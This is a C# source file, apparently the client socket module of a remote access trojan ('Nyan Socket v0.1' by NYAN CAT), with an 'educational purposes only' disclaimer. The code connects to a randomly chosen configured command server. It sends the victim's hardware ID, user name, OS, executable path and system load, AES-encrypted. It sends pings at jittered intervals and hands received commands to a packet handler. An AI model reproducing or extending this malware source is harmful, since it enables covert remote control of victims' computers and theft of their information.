223 lines
8.1 KiB
C#
223 lines
8.1 KiB
C#
using Client.Handle_Packet;
|
|
using Client.Helper;
|
|
using Client.MessagePack;
|
|
using Microsoft.VisualBasic.Devices;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Threading;
|
|
using System.Text;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : Nyan Socket v0.1
|
|
// │ Contact : https://github.com/NYAN-x-CAT
|
|
|
|
// This program is distributed for educational purposes only.
|
|
|
|
namespace Client.Sockets
|
|
{
|
|
class ClientSocket
|
|
{
|
|
public static Socket Client { get; set; }
|
|
private static byte[] Buffer { get; set; }
|
|
private static long Buffersize { get; set; }
|
|
private static bool BufferRecevied { get; set; }
|
|
private static Timer Tick { get; set; }
|
|
private static MemoryStream MS { get; set; }
|
|
public static bool IsConnected { get; set; }
|
|
private static object SendSync { get; } = new object();
|
|
private static object EndSendSync { get; } = new object();
|
|
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
|
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
|
|
|
public static void InitializeClient()
|
|
{
|
|
try
|
|
{
|
|
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
|
{
|
|
ReceiveBufferSize = 50 * 1024,
|
|
SendBufferSize = 50 * 1024,
|
|
ReceiveTimeout = -1,
|
|
SendTimeout = -1,
|
|
};
|
|
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
|
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
|
Debug.WriteLine("Connected!");
|
|
IsConnected = true;
|
|
Buffer = new byte[4];
|
|
BufferRecevied = false;
|
|
MS = new MemoryStream();
|
|
BeginSend(SendInfo());
|
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
|
}
|
|
catch
|
|
{
|
|
Debug.WriteLine("Disconnected!");
|
|
IsConnected = false;
|
|
}
|
|
}
|
|
|
|
public static void Reconnect()
|
|
{
|
|
|
|
try
|
|
{
|
|
Packet.KeyRecevied = false;
|
|
Tick?.Dispose();
|
|
Client?.Dispose();
|
|
MS?.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
InitializeClient();
|
|
}
|
|
}
|
|
|
|
public static byte[] SendInfo()
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
|
msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
|
|
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
|
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
|
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
|
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
|
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
|
TheCPUCounter.NextValue();
|
|
msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
|
return msgpack.Encode2Bytes();
|
|
}
|
|
|
|
public static void ReadServertData(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
if (!Client.Connected || !IsConnected)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
|
|
int recevied = Client.EndReceive(ar);
|
|
if (recevied > 0)
|
|
{
|
|
if (!BufferRecevied)
|
|
{
|
|
MS.Write(Buffer, 0, recevied);
|
|
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
|
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
|
MS.Dispose();
|
|
MS = new MemoryStream();
|
|
if (Buffersize > 0)
|
|
{
|
|
Buffer = new byte[Buffersize];
|
|
BufferRecevied = true;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
MS.Write(Buffer, 0, recevied);
|
|
if (MS.Length == Buffersize)
|
|
{
|
|
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
|
Buffer = new byte[4];
|
|
MS.Dispose();
|
|
MS = new MemoryStream();
|
|
BufferRecevied = false;
|
|
}
|
|
else
|
|
Buffer = new byte[Buffersize - MS.Length];
|
|
}
|
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
|
}
|
|
else
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
|
|
public static void BeginSend(byte[] msg)
|
|
{
|
|
lock (SendSync)
|
|
{
|
|
try
|
|
{
|
|
if (!Client.Connected || !IsConnected)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
|
|
byte[] buffer = Settings.aes256.Encrypt(msg);
|
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
|
|
Client.Poll(-1, SelectMode.SelectWrite);
|
|
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
|
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void EndSend(IAsyncResult ar)
|
|
{
|
|
lock (EndSendSync)
|
|
{
|
|
try
|
|
{
|
|
if (!Client.Connected || !IsConnected)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
|
|
int sent = 0;
|
|
sent = Client.EndSend(ar);
|
|
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void CheckServer(object obj)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
|
|
|
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
|
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
|
|
Client.Poll(-1, SelectMode.SelectWrite);
|
|
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
|
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
}
|